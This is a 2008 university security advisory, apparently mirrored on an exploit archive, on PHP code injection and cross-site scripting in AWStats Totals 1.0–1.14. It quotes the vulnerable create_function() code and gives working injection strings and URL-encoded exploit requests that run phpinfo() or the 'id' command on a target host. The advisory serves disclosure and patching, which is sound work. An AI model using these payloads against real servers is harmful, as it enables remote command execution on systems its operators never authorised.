the last unbiased stronghold

EMORY-2008-01.txt

EMORY-2008-01.txt
Posted Aug 27, 2008
Authored by Elliot Kendall | Site emory.edu

Telartis's AWStats Totals versions 1.0 through 1.14 suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 46742f7d6234df7fa0b6c185fb2e534a

EMORY-2008-01.txt

Change Mirror Download
Emory University UTS Security Advisory EMORY-2008-01

Topic: Multiple Vulnerabilities in AWStats Totals

Original release date: August 26, 2008

SUMMARY
=======

Telartis's AWStats Totals program is vulnerable to command execution
and cross site scripting attacks. A remote attacker could exploit
these vulnerabilities to run arbitrary commands on the system with the
permissions of the web server.

AFFECTED SOFTWARE
=================

* AWStats Totals 1.0 - 1.14

UNAFFECTED
==========

* AWStats Totals >= 1.15

IMPACT
======

A remote attacker could exploit these vulnerabilities to run arbitrary
commands on the web server's host operating system.

DETAILS
=======

AWStats Totals takes three URL parameters, "month," "year," and
"sort," and uses them without checking them for validity.

The program uses the month and year parameters in output it displays
to the user. It will display any HTML or Javascript code included in
these parameters, which the user's browser will then render.

The program uses the sort parameter to build an anonymous PHP function
with the create_function() function.

> function multisort(&$array, $key) {
> $cmp = create_function('$a, $b',
> 'if ($a["'.$key.'"] == $b["'.$key.'"]) return 0;'.
> 'return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;');
> usort($array, $cmp);
> }
>
> if ($sort == 'config') sort($rows); else multisort($rows, $sort);

Taking care to match properly the quotes and angle brackets, it is
possible to insert PHP expressions into the code for the function. For
example, to run the phpinfo() function, one might set sort to this
value:

"].phpinfo().$a["

Since any code one injects gets run multiple times, however, it may be
useful to exit the program after a single invocation:

"].phpinfo().exit().$a["

It is also possible to insert PHP expressions through the use of
variable expansion within strings on newer versions of PHP:

{${phpinfo()}}{${exit()}}

SOLUTION
========

Upgrade to AWStats Totals 1.15.

http://www.telartis.nl/xcms/awstats/

EXPLOIT
=======

The following examples require that magic quotes be disabled, but will
work on all versions of PHP.

This example will display phpinfo().

http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2ephpinfo%28%29%2eexit%28%29%2e%24a%5b%22

This example will run the "id" command on the target system.

http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2epassthru%28%27id%27%29%2eexit%28%29%2e%24a%5b%22

======

The following examples require a version of PHP which parses function
calls inside strings (5+, some versions of 4?), but will work if magic
quotes are enabled.

This example will display phpinfo().

http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bphpinfo%28%29%7d%7d%7b%24%7bexit%28%29%7d%7d

This example will run the "id" command on the target system.

http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d

ACKNOWLEDGMENTS
===============

Thanks to Telartis B.V. and Jeroen de Jong for quickly releasing an
updated version and for assisting with this advisory.

DISCLAIMER
==========

The information in this advisory is provided by Emory as a courtesy
and without any representations or warranties. Recipients are
advised to conduct their own investigation and due diligence before
relying on its contents.

REVISION HISTORY
================

2008-08-26 original release

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close